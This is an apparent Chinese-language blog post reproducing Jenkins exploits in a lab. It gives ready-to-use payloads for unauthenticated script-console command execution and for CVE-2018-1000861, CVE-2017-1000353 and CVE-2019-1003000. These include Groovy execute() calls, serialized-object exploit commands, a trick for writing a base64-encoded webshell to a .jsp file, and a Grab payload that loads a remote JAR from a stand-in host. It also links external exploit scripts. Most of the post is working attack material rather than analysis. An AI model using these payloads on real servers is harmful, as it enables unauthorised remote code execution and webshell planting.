Jenkins漏洞利用复现

一、未授权访问

访问url:

1
http://172.16.20.134:8080/script

 

 

 

命令执行

1
println "ls -al".execute().text

也可以利用powershell 或者python脚本反弹shell

 

 

 

二、CVE-2018-1000861 远程命令执行漏洞

payload:

1
2
3
4
5
6
7
securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

  

 

&value=转成url编码

发送get请求:

 

python脚本:

1
https://github.com/orangetw/awesome-jenkins-rce-2019/blob/master/exp.py

  

 

三、CVE-2017-1000353 远程代码执行

工具地址:https://github.com/vulhub/CVE-2017-1000353

 https://ssd-disclosure.com/archives/3171

1
2
3
4
5
# 生成ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar 1.ser "touch /tmp/1.jsp"
 
# 发送ser
python exploit.py http://172.16.20.134:8080 1.ser

 

exploit.py这里要注释下,如果你使用代理的话可以添加,这里只是复现,用不到

 另外一个linux写shell的小技巧:

1
echo base64后的木马内容 |base64 -d > 1.jsp

 

jsp生成成功

 

 

四、CVE-2019-1003000  远程代码执行漏洞

 

漏洞利用

1
2
3
4
5
http://url.com/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://poc.com')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;

poc.com是保存了JAR文件的服务器域名。

group、module、version的值对应了该jar文件的存放路径。

修改version的值,对应的jar包的访问路径和文件名也发生改变。

 

 

脚本:https://github.com/wetw0rk/Exploit-Development/blob/master/CVE-2019-1003000%20%26%26%20CVE-2018-1999002%20-%20preAuth%20Jenkins%20RCE/sploit/jenkins-preauth-rce-exploit.py

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

 

 

 

posted @   Junsec  阅读(12048)  评论(0编辑  收藏  举报
编辑推荐:
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势
阅读排行:
· ThreeJs-16智慧城市项目(重磅以及未来发展ai)
· .NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想
· Ai满嘴顺口溜,想考研?浪费我几个小时
· Browser-use 详细介绍&使用文档
· 软件产品开发中常见的10个问题及处理方法
点击右上角即可分享
微信分享提示